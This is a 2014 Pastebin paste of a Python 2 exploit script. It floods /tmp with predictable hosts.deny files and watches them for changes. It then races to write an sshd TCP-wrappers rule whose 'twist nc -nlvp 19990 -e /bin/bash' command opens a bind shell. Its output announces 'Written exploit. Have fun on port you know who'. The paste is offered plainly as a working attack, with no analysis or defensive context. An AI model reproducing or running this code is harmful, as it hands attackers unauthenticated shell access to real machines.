Advertisement
Guest User

Untitled

a guest
Nov 28th, 2014
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.82 KB | None | 0 0
  1. import os
  2. import time
  3.  
  4.  
  5. if __name__ == "__main__":
  6. print "=============================================="
  7. print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."
  8.  
  9. array_list = [()]
  10.  
  11.  
  12. for i in range(1, 65536):
  13. filename = "/tmp/hosts.deny.%s" % i
  14. f = open(filename, 'w')
  15. f.write("")
  16. array_list.append((filename,os.stat(filename).st_mtime))
  17. print array_list[i][1]
  18.  
  19. f.close()
  20.  
  21. while (1):
  22.  
  23. for i in range(1,65536):
  24. filename = "/tmp/hosts.deny.%s" % i
  25. if (os.stat(filename).st_mtime != array_list[i][1]):
  26. f = open(filename, 'w')
  27. f.write('sshd : ALL : twist nc -nlvp 19990 -e /bin/bash \n')
  28. f.close()
  29. print "Written exploit. Have fun on port you know who"
  30. print filename
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement